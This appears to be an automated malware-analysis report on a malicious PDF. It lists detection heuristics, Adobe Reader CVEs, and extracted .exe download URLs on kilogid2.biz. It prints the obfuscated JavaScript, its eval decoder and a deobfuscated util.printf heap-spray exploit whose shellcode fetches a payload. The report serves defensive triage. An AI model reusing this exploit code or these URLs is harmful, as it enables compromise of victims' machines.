Malicious PDF — malware analysis report

Static analysis result for SHA-256 db4debda7f8dd48e…

MALICIOUS

PDF

7.9 KB Created: 2009-09-15 19:43:28 Authoring application: Eblasha 7.4.2.7 (via PDF Library 3.6.2.7) First seen: 2012-07-12
MD5: 8ffa5ab360ce930bf7f0be67fe067725 SHA-1: 44a4b7e303e5a4b842a6789e5404bc6e650e62e2 SHA-256: db4debda7f8dd48e2905ea81641b2fd958a944e0cfea967d88da174555ff4d0c
606 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT, PDF_JS, and PDF_EVAL. The ClamAV detection of 'Pdf.Dropper.Agent-7312121-0' strongly suggests malicious intent. The JavaScript is obfuscated, making its exact function difficult to determine, but it is likely responsible for downloading and executing a second-stage payload. The presence of 'eval()' and 'String.fromCharCode()' further supports the execution of dynamic code.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-7312121-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7312121-0
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var ehil=0, deijmnuz='';ehil<5334;ehil++){deijmnuz += String.fromCharCode(fra[ehil]-'QWeHZNV'.substring(ehil%'QWeHZNV'.length,ehil%'QWeHZNV'.length+1).charCodeAt(0));}eval(deijmnuz);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://kilogid2.biz/pol/dehpqtuwz3.exe Referenced by PDF JavaScript
    • http://kilogid2.biz/pol/gjq3.exeReferenced by PDF JavaScript
    • http://kilogid2.biz/pol/ahnqruwxy3.exeReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21337 bytes
SHA-256: b61ece9415d32c30e9109f3c01aa2017adc055428905aa980e15ee582271588e
Preview script
First 1,000 lines of the extracted script
var fra=[183,204,211,171,206,183,197,191,119,203,177,210,173,191,197,127,222,169,204,193,198,125,195,202,182,131,201,205,185,192,209,173,130,199,183,195,202,213,118,198,179,196,184,203,205,114,140,138,194,182,197,142,195,211,175,200,196,199,144,133,211,175,200,196,199,160,197,100,199,183,195,202,213,133,211,175,200,196,199,147,187,207,176,201,197,201,206,182,193,118,134,125,195,202,182,137,128,127,140,201,202,188,207,192,196,113,208,198,186,205,190,145,206,97,203,189,200,177,202,186,198,211,104,207,194,191,189,182,213,186,195,188,202,183,127,142,195,208,175,200,113,199,198,193,198,189,183,181,148,218,182,191,193,185,178,199,202,112,124,115,203,135,139,158,120,127,195,135,137,152,150,109,207,126,134,129,135,138,189,146,144,134,129,124,218,123,138,130,134,118,204,153,120,146,144,123,198,143,167,125,142,115,203,129,139,153,120,127,195,138,129,143,167,109,207,134,152,129,139,138,189,138,130,138,129,124,218,122,138,126,154,118,204,151,120,138,126,123,198,138,169,120,138,115,203,129,135,156,139,127,195,134,129,142,156,109,207,126,135,136,139,138,189,141,129,153,132,124,218,126,142,145,134,118,204,153,120,146,144,123,198,142,157,123,138,115,203,137,153,149,139,127,195,134,148,139,149,109,207,133,134,137,153,138,189,155,146,135,148,124,218,125,146,134,152,118,204,170,138,138,134,123,198,143,167,120,147,115,203,132,139,153,120,127,195,138,129,143,169,109,207,134,152,136,154,138,189,141,145,139,137,124,218,124,142,132,151,118,204,169,121,143,143,123,198,137,167,141,140,115,203,137,153,170,122,127,195,155,147,156,168,109,207,131,151,133,157,138,189,146,129,139,131,124,218,125,144,147,151,118,204,154,125,146,135,123,198,140,155,120,142,115,203,137,153,154,127,127,195,137,148,142,152,109,207,133,138,137,153,138,189,145,134,137,132,124,218,142,141,126,137,118,204,157,138,143,132,123,198,137,149,127,144,115,203,151,138,149,123,127,195,153,138,138,152,109,207,131,134,133,144,138,189,155,146,138,130,124,218,142,160,129,137,118,204,149,142,141,132,123,198,136,153,138,159,115,203,132,143,149,123,127,195,141,133,157,151,109,207,145,135,129,143,138,189,138,146,153,151,124,218,142,155,126,137,118,204,170,138,142,126,123,198,140,157,141,160,115,203,151,143,152,138,127,195,155,134,142,154,109,207,134,152,134,156,138,189,140,130,138,135,124,218,139,141,126,137,118,204,157,138,144,132,123,198,139,157,120,157,115,203,134,141,157,138,127,195,134,132,136,168,109,207,134,152,149,138,138,189,146,143,134,133,124,218,139,141,126,137,118,204,154,141,143,148,123,198,154,152,125,138,115,203,136,155,157,140,127,195,139,136,135,157,109,207,144,142,134,137,138,189,157,143,137,132,124,218,125,156,134,151,118,204,166,122,159,134,123,198,157,171,142,160,115,203,132,137,171,142,127,195,142,147,154,149,109,207,148,136,151,142,138,189,142,148,151,150,124,218,127,143,144,142,118,204,155,125,140,147,123,198,152,167,127,146,115,203,138,143,155,126,127,195,151,147,141,155,109,207,145,134,132,138,138,189,144,127,152,137,124,218,120,138,132,138,118,204,154,120,138,126,123,198,140,153,126,146,115,203,136,137,155,128,127,195,137,134,141,154,109,207,127,153,131,139,138,189,145,130,140,138,124,218,125,142,131,134,118,204,167,128,143,129,123,198,157,168,137,155,115,203,136,154,149,140,127,195,139,134,157,171,109,207,134,152,129,139,138,189,146,129,156,137,124,218,120,157,145,138,118,204,155,139,156,126,123,198,156,149,128,155,115,203,134,135,158,128,127,195,140,151,141,157,109,207,128,155,135,156,138,189,144,134,140,133,124,218,127,140,133,139,118,204,155,140,144,145,123,198,153,157,125,142,115,203,133,156,157,141,127,195,155,148,135,170,109,207,131,139,151,157,138,189,147,129,134,133,124,218,123,141,131,134,118,204,154,120,157,126,123,198,140,155,125,138,115,203,134,140,157,138,127,195,142,132,135,153,109,207,133,156,148,137,138,189,157,128,142,132,124,218,125,140,130,153,118,204,167,128,143,126,123,198,136,166,123,144,115,203,136,135,151,142,127,195,139,134,157,171,109,207,131,152,129,139,138,189,143,132,139,136,124,218,129,146,144,142,118,204,157,137,160,147,123,198,157,171,120,159,115,203,129,139,154,125,127,195,134,129,141,166,109,207,146,141,151,157,138,189,145,130,140,137,124,218,127,138,133,138,118,204,151,142,141,143,123,198,141,167,122,160,115,203,135,154,155,129,127,195,140,136,141,171,109,207,132,138,135,144,138,189,140,147,137,131,124,218,126,147,132,136,118,204,151,142,145,143,123,198,141,171,127,138,115,203,131,157,155,139,127,195,140,134,141,153,109,207,133,134,135,143,138,189,145,130,141,130,124,218,127,145,133,139,118,204,152,123,145,143,123,198,141,154,122,159,115,203,135,140,156,128,127,195,134,129,135,149,106,131,137,204,178,201,133,182,201,190,147,198,197,202,187,189,175,198,182,127,135,109,207,126,151,129,152,138,189,138,143,134,146,124,218,120,155,126,151,118,204,149,137,138,143,120,122,97,219,169,204,110,190,182,184,213,170,198,189,185,188,148,211,183,202,121,198,178,208,209,183,187,178,145,199,184,215,104,188,183,189,179,195,212,171,197,139,203,191,188,216,171,187,190,187,121,121,138,189,138,143,134,146,124,218,120,155,126,151,115,128,160,190,187,192,118,185,188,198,172,191,192,201,186,209,202,133,140,126,145,199,184,215,104,205,190,200,178,208,162,176,191,175,186,182,201,216,177,212,179,129,185,188,198,184,188,186,197,180,194,147,180,191,188,189,197,191,160,191,194,183,194,182,127,199,177,193,176,194,192,186,208,118,198,179,196,184,203,205,132,205,190,200,178,208,142,195,188,183,189,179,195,212,171,197,121,147,179,192,204,170,198,189,185,188,146,226,82,208,175,200,113,189,206,180,198,176,194,192,186,208,133,188,183,189,179,195,212,171,197,124,201,198,185,216,188,204,183,196,184,127,149,116,205,190,200,178,208,142,131,208,175,200,113,185,209,183,189,185,147,179,192,204,170,198,189,185,188,133,216,189,188,193,202,195,192,211,175,130,126,130,179,192,204,170,198,189,185,188,133,209,173,200,181,202,185,132,216,184,204,175,207,122,146,220,176,195,186,187,121,185,209,183,189,185,132,189,188,211,175,206,182,129,196,199,215,169,211,138,134,201,139,149,120,138,126,127,204,185,209,183,189,185,147,179,195,212,171,197,121,184,189,198,200,179,133,180,191,189,195,199,180,201,177,193,140,212,111,190,187,192,118,190,188,210,167,187,192,200,178,208,162,182,191,197,118,146,201,215,169,211,118,127,140,189,212,186,130,196,183,195,119,206,133,138,137,191,141,136,153,120,138,137,191,124,130,142,195,199,179,195,176,184,215,186,187,199,177,186,180,162,170,198,189,185,188,130,205,173,187,190,184,189,198,200,179,149,203,96,199,184,215,104,200,195,195,142,136,151,129,147,135,143,138,144,158,129,147,135,143,138,144,158,129,147,135,143,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,128,146,134,142,137,143,157,131,207,194,191,189,133,213,186,195,188,202,183,127,135,109,142,131,134,129,135,203,106,134,188,203,190,128,160,197,100,180,203,191,186,217,177,201,188,118,180,198,209,180,187,176,181,182,196,198,177,198,118,127,204,205,198,186,122,193,190,182,195,209,171,201,178,187,142,204,211,173,205,177,183,193,188,141,106,127,195,140,133,144,149,109,207,127,142,146,136,138,189,138,126,134,129,124,218,128,156,126,134,118,204,152,120,142,126,123,198,139,149,128,156,115,203,137,153,154,124,127,195,134,133,139,149,109,207,130,134,137,153,138,189,146,144,134,133,124,218,120,142,130,134,118,204,151,120,138,146,123,198,137,149,120,138,115,203,132,155,149,120,127,195,134,129,142,168,109,207,126,134,136,142,138,189,138,127,141,133,124,218,123,141,145,137,118,204,155,124,157,126,123,198,139,149,128,156,115,203,136,143,152,120,127,195,142,147,135,168,109,207,126,153,133,135,138,189,145,126,142,147,124,218,137,158,127,153,118,204,154,128,146,144,123,198,156,167,120,146,115,203,137,153,149,129,127,195,137,133,139,149,109,207,130,134,137,155,138,189,146,144,141,148,124,218,123,157,131,142,118,204,153,124,144,143,123,198,155,150,125,155,115,203,131,153,170,122,127,195,142,147,156,151,109,207,147,152,150,154,138,189,143,143,138,151,124,218,128,141,131,136,118,204,154,126,159,143,123,198,140,154,128,147,115,203,134,141,149,124,127,195,142,147,140,156,109,207,129,153,136,138,138,189,145,130,142,147,124,218,127,146,129,137,118,204,171,123,138,129,123,198,143,167,125,144,115,203,131,135,156,126,127,195,156,132,135,152,109,207,145,143,132,138,138,189,143,126,138,138,124,218,137,158,130,135,118,204,171,142,141,129,123,198,135,171,123,144,115,203,130,139,167,141,127,195,137,137,135,152,109,207,133,138,151,137,138,189,157,127,134,137,124,218,120,158,145,156,118,204,171,137,138,129,123,198,156,167,124,138,115,203,134,143,170,142,127,195,156,137,138,167,109,207,147,139,136,140,138,189,146,144,139,150,124,218,122,142,130,140,118,204,168,123,138,129,123,198,143,167,126,144,115,203,133,143,149,139,127,195,139,135,143,167,109,207,126,137,130,154,138,189,146,144,154,132,124,218,128,155,126,138,118,204,168,123,138,129,123,198,140,170,125,160,115,203,148,138,154,120,127,195,141,149,143,169,109,207,131,141,129,143,138,189,156,134,139,131,124,218,139,155,129,137,118,204,154,138,146,143,123,198,152,151,141,146,115,203,151,157,171,142,127,195,137,131,157,171,109,207,134,152,148,135,138,189,160,128,156,136,124,218,124,160,143,155,118,204,156,125,156,134,123,198,141,154,122,159,115,203,146,153,156,128,127,195,143,137,141,155,109,207,143,152,135,141,138,189,157,126,137,132,124,218,126,139,144,142,118,204,149,120,144,130,123,198,140,149,120,138,115,203,134,139,155,128,127,195,141,131,141,157,109,207,129,139,135,140,138,189,139,145,136,133,124,218,127,142,132,143,118,204,154,124,143,126,123,198,153,157,125,141,115,203,151,154,166,137,127,195,141,148,135,169,109,207,131,139,151,157,138,189,146,144,134,133,124,218,128,141,148,142,118,204,149,139,157,130,123,198,141,168,138,138,115,203,150,135,157,137,127,195,139,129,144,157,109,207,132,156,135,143,138,189,140,147,140,150,124,218,126,146,132,138,118,204,156,122,145,131,123,198,141,169,126,157,115,203,147,143,154,124,127,195,138,150,143,170,109,207,147,153,129,156,138,189,143,131,156,151,124,218,129,141,126,138,118,204,152,123,143,126,123,198,140,149,139,138,115,203,134,141,154,120,127,195,139,134,143,167,109,207,134,137,129,139,138,189,145,148,153,131,124,218,139,140,134,137,118,204,154,122,142,145,123,198,153,157,125,138,115,203,130,152,152,126,127,195,141,129,137,171,109,207,131,139,151,157,138,189,143,144,134,133,124,218,125,144,131,141,118,204,158,128,156,134,123,198,143,166,142,159,115,203,151,157,149,141,127,195,134,133,140,154,109,207,126,134,135,152,138,189,158,133,156,151,124,218,127,142,132,142,118,204,156,120,145,130,123,198,137,171,123,155,115,203,135,153,151,142,127,195,140,148,141,158,109,207,132,141,135,157,138,189,144,130,140,138,124,218,122,159,129,136,118,204,155,129,144,128,123,198,137,171,127,155,115,203,135,157,156,120,127,195,136,151,141,168,109,207,132,151,135,142,138,189,141,129,141,130,124,218,126,143,128,155,118,204,155,125,145,134,123,198,135,149,120,138,112,127,140,205,198,186,122,187,187,190,182,198,186,204,175,207,142,197,202,191,122,143,200,195,184,222,112,131,137,204,178,201,133,171,189,139,134,201,135,200,120,189,126,185,129,186,160,190,187,192,118,178,187,201,186,151,126,206,133,135,149,120,138,126,145,199,184,215,104,205,177,181,189,188,211,133,205,182,187,189,195,200,183,190,179,132,189,188,211,175,206,182,128,131,146,219,169,204,110,194,182,197,162,169,190,178,200,126,127,216,171,185,186,187,191,130,149,192,141,134,127,140,205,198,186,122,199,183,195,202,213,133,207,188,187,196,186,198,184,191,118,120,118,204,158,120,147,126,123,198,144,149,129,138,112,127,140,208,198,186,205,190,147,183,192,221,167,195,194,126,202,184,215,187,202,122,194,182,197,142,131,208,175,200,113,186,212,189,200,194,136,142,127,200,171,135,126,206,133,135,149,120,138,126,127,128,184,201,172,204,137,188,192,201,141,190,187,192,118,180,198,218,182,206,139,134,140,186,212,189,200,194,146,180,198,218,182,206,128,145,180,198,218,182,206,121,129,122,210,210,173,199,173,183,195,201,198,193,181,177,197,198,197,217,165,151,199,183,195,202,213,115,205,182,187,189,195,200,183,190,179,145,206,97,219,169,204,110,197,199,188,215,174,198,189,205,142,204,211,173,205,177,183,193,188,141,106,127,195,134,180,135,200,109,207,126,185,129,186,135,113,149,197,190,186,195,202,112,201,196,187,195,189,209,183,209,124,194,182,197,204,188,194,138,138,133,144,154,122,131,201,197,199,188,215,174,198,189,205,124,148,212,190,191,192,188,189,198,220,131,215,88,202,185,192,216,118,189,189,194,189,184,199,155,206,189,200,182,148,168,183,198,186,183,179,133,200,183,198,186,187,180,203,170,181,187,183,194,154,197,203,183,130,201,201,198,185,207,130,124,112,130,190,202,204,130,201,196,187,195,189,209,183,209,203,127,140,212,111,174,207,188,185,197,192,212,182,122,177,197,189,195,198,170,185,181,187,197,192,200,183,200,118,127,204,192,203,112,187,190,198,127,187,212,171,136,145,197,189,195,198,170,136,181,187,197,160,200,183,200,119,209,199,184,215,104,187,192,200,202,148,211,173,209,110,151,195,201,198,193,130,119,145,199,184,215,104,208,196,198,182,203,205,193,187,139,203,191,188,216,171,187,190,187,121,121,138,189,144,130,143,129,124,218,121,146,143,135,118,204,149,120,138,126,123,198,143,167,120,138,115,203,132,135,153,120,127,195,138,129,143,167,109,207,134,152,134,139,138,189,138,130,138,129,124,218,124,138,134,152,118,204,157,138,138,130,123,198,135,153,124,138,115,203,131,135,149,140,127,195,136,129,135,149,109,207,129,154,129,135,138,189,138,126,141,148,124,218,120,138,133,141,118,204,149,121,145,130,123,198,138,152,139,141,115,203,135,139,168,120,127,195,138,129,143,167,109,207,133,142,132,135,138,189,146,144,134,148,124,218,120,157,130,134,118,204,156,120,146,144,123,198,152,169,121,157,115,203,134,143,157,138,127,195,155,147,135,157,109,207,134,152,129,144,138,189,141,130,138,129,124,218,124,138,134,154,118,204,157,138,145,145,123,198,138,168,125,146,115,203,133,139,155,137,127,195,154,130,140,166,109,207,128,152,150,137,138,189,146,144,155,131,124,218,141,156,147,153,118,204,154,137,142,148,123,198,143,152,125,140,115,203,134,141,170,137,127,195,139,134,143,158,109,207,131,140,129,139,138,189,146,144,139,136,124,218,123,157,133,137,118,204,156,124,146,144,123,198,142,157,123,141,115,203,151,138,149,123,127,195,142,147,140,155,109,207,128,134,136,141,138,189,160,129,134,132,124,218,139,147,129,137,118,204,154,120,142,135,123,198,152,169,124,139,115,203,151,157,152,123,127,195,134,151,138,155,109,207,127,138,147,156,138,189,141,134,134,132,124,218,127,142,148,136,118,204,168,121,138,134,123,198,135,169,139,160,115,203,151,152,149,123,127,195,155,147,139,149,109,207,131,142,150,157,138,189,160,134,137,147,124,218,141,143,133,139,118,204,157,138,143,147,123,198,137,153,124,144,115,203,148,138,149,123,127,195,142,147,141,155,109,207,130,142,129,154,138,189,143,132,142,147,124,218,120,141,127,153,118,204,157,138,158,129,123,198,143,166,120,142,115,203,148,138,149,123,127,195,139,150,140,171,109,207,145,137,134,135,138,189,145,146,142,149,124,218,125,145,126,142,118,204,167,128,143,128,123,198,154,166,123,141,115,203,134,153,157,137,127,195,151,131,156,157,109,207,148,156,151,157,138,189,141,128,156,151,124,218,128,156,145,134,118,204,171,122,160,133,123,198,139,171,137,159,115,203,136,140,167,128,127,195,140,134,137,170,109,207,143,152,136,143,138,189,147,134,140,135,124,218,137,156,132,140,118,204,168,120,141,129,123,198,141,150,138,146,115,203,129,135,155,124,127,195,139,129,135,149,109,207,131,138,135,143,138,189,145,128,140,137,124,218,123,143,132,139,118,204,150,139,140,130,123,198,142,153,126,147,115,203,134,139,154,120,127,195,152,137,140,152,109,207,148,153,146,152,138,189,145,145,134,149,124,218,125,143,148,156,118,204,157,138,138,130,123,198,143,152,142,146,115,203,129,154,168,124,127,195,140,148,153,149,109,207,147,134,137,152,138,189,143,126,143,137,124,218,126,160,132,142,118,204,151,141,144,147,123,198,141,157,126,142,115,203,136,137,156,125,127,195,140,149,141,168,109,207,144,142,134,139,138,189,142,147,142,150,124,218,141,157,126,155,118,204,154,125,160,148,123,198,144,152,120,142,115,203,132,138,154,120,127,195,139,129,154,149,109,207,131,140,134,135,138,189,143,131,142,147,124,218,128,141,126,138,118,204,156,142,157,128,123,198,154,151,128,141,115,203,134,137,153,139,127,195,152,137,140,149,109,207,127,151,132,141,138,189,145,126,136,151,124,218,125,143,148,156,118,204,154,138,138,130,123,198,140,155,125,145,115,203,138,143,167,128,127,195,142,146,157,170,109,207,148,156,129,156,138,189,138,130,139,134,124,218,120,138,132,151,118,204,169,127,160,148,123,198,142,153,126,146,115,203,136,135,156,124,127,195,136,151,138,166,109,207,132,152,131,157,138,189,144,145,140,138,124,218,126,145,132,156,118,204,155,124,144,135,123,198,137,170,123,140,115,203,135,144,155,122,127,195,136,151,142,166,109,207,132,156,136,135,138,189,140,148,140,148,124,218,126,146,132,135,118,204,156,121,144,147,123,198,142,154,127,140,115,203,136,143,156,127,127,195,137,132,142,158,109,207,132,139,131,156,138,189,144,131,141,137,124,218,120,138,126,134,115,128,160,190,187,192,118,185,174,214,125,138,126,153,159,148,219,190,202,179,202,185,208,198,118,198,179,196,184,203,205,114,140,137,204,178,201,133,180,191,188,147,129,207,153,120,138,126,134,129,132,141,176,177,191,139,129,135,168,150,133,126,206,132,143,142,131,208,175,200,113,208,198,186,205,190,147,198,197,202,187,189,175,198,182,127,135,109,207,135,134,138,135,138,189,147,126,143,129,121,142,131,211,175,200,196,199,162,174,195,198,181,186,203,141,193,187,192,201,193,131,209,173,200,119,145,199,184,215,104,202,131,151,187,162,155,125,192,139,126,129,207,149,171,138,177,134,180,135,200,117,138,198,138,129,135,149,120,138,119,133,129,207,153,120,138,126,134,129,146,203,183,204,118,204,178,201,133,190,203,177,167,149,144,155,193,151,126,145,199,200,200,153,158,135,140,202,147,213,125,155,184,161,135,140,203,131,208,191,185,162,155,158,126,211,121,129,122,210,198,186,204,199,177,199,200,200,153,158,135,140,202,180,162,193,187,192,201,193,130,219,190,202,179,202,185,208,198,131,215,88,204,178,201,133,188,175,155,190,159,185,172,191,151,195,196,182,202,200,169,202,179,126,115,124,149,129,124,119,145,200,191,206,180,191,118,202,166,164,205,150,188,149,205,127,195,202,182,193,194,190,141,135,221,124,138,126,134,122,210,217,157,167,182,164,179,158,220,115,151,194,171,158,191,179,170,161,197,145,206,97,217,157,167,182,164,179,158,220,133,124,156,132,115,130,217,157,167,182,164,179,158,220,131,187,190,198,127,187,212,171,136,145,197,189,195,198,170,136,181,187,197,160,200,183,200,118,202,166,164,205,150,188,149,205,122,146,226,197,100,180,203,191,186,217,177,201,188,118,193,187,203,167,205,194,183,195,203,141,113,213,196,183,195,119,219,173,204,193,191,192,197,162,169,202,190,132,199,192,202,191,191,192,172,182,201,216,177,201,188,132,197,198,184,188,204,183,196,184,127,142,131,208,179,200,196,192,212,182,151,196,187,195,202,206,183,200,124,200,182,199,209,169,189,179,126,128,179,169,119,193,122,125,120,128,160,190,187,192,118,199,184,215,187,195,189,196,176,184,215,186,187,199,147,191,188,220,104,155,192,200,178,208,141,190,191,192,201,186,198,211,118,189,182,183,195,152,217,112,138,119,130,199,188,215,187,195,189,196,127,186,205,169,204,143,202,121,136,142,116,208,179,200,196,192,212,182,136,177,190,178,201,166,188,130,128,127,122,146,206,174,130,118,204,178,201,216,177,201,188,181,178,201,215,169,211,169,134,174,148,162,128,131,116,124,121,205,198,186,205,183,197,191,182,198,186,204,175,207,172,136,194,133,151,126,127,205,211,141,190,187,192,201,186,198,211,167,187,192,200,178,208,192,121,183,139,147,130,125,139,190,187,192,201,186,198,211,167,187,192,200,178,208,192,122,183,138,137,122,128,224,189,206,183,194,176,199,215,177,200,194,188,121,128,160,197,100,183,188,121,127,219,169,204,193,191,192,197,196,169,204,192,183,202,178,149,165,150,134,127,205,211,141,190,187,192,201,186,198,211,167,187,192,200,178,208,192,120,183,139,147,137,125,139,190,187,192,201,186,198,211,167,187,192,200,178,208,192,121,183,138,136,119,125,219,169,204,193,191,192,197,196,169,204,192,183,202,178,151,165,150,128,127,122,210,200,183,198,186,183,179,182,202,181,187,183,194,121,128,160,197,100,183,188,121,127,219,169,204,193,191,192,197,196,169,204,192,183,202,178,149,165,150,135,127,205,211,141,190,187,192,201,186,198,211,167,187,192,200,178,208,192,120,183,139,147,138,125,139,190,187,192,201,186,198,211,167,187,192,200,178,208,192,121,183,138,135,122,128,224,171,201,186,194,178,185,196,175,191,194,191,180,198,211,112,131,137,211,206,97,213,172,192,173,201,197,184,215,188,130,119,145];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1B82 187 bytes
SHA-256: b4f45de99cf4729188f746bf749560ef6886723a28ae27be4058a0b79f0674ef
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var ehil=0, deijmnuz='';ehil<5334;ehil++){deijmnuz += String.fromCharCode(fra[ehil]-'QWeHZNV'.substring(ehil%'QWeHZNV'.length,ehil%'QWeHZNV'.length+1).charCodeAt(0));}eval(deijmnuz);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5334 bytes
SHA-256: 5deeb4794a291ad6b7f92a0e1f58df6bef83a14fa632d4b4d22aecb4cbf6ac5f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u6B2F%u6C69%u676F%u6469%u2E32%u6962%u2F7A%u6F70%u2F6C%u6564%u7068%u7471%u7775%u337A%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
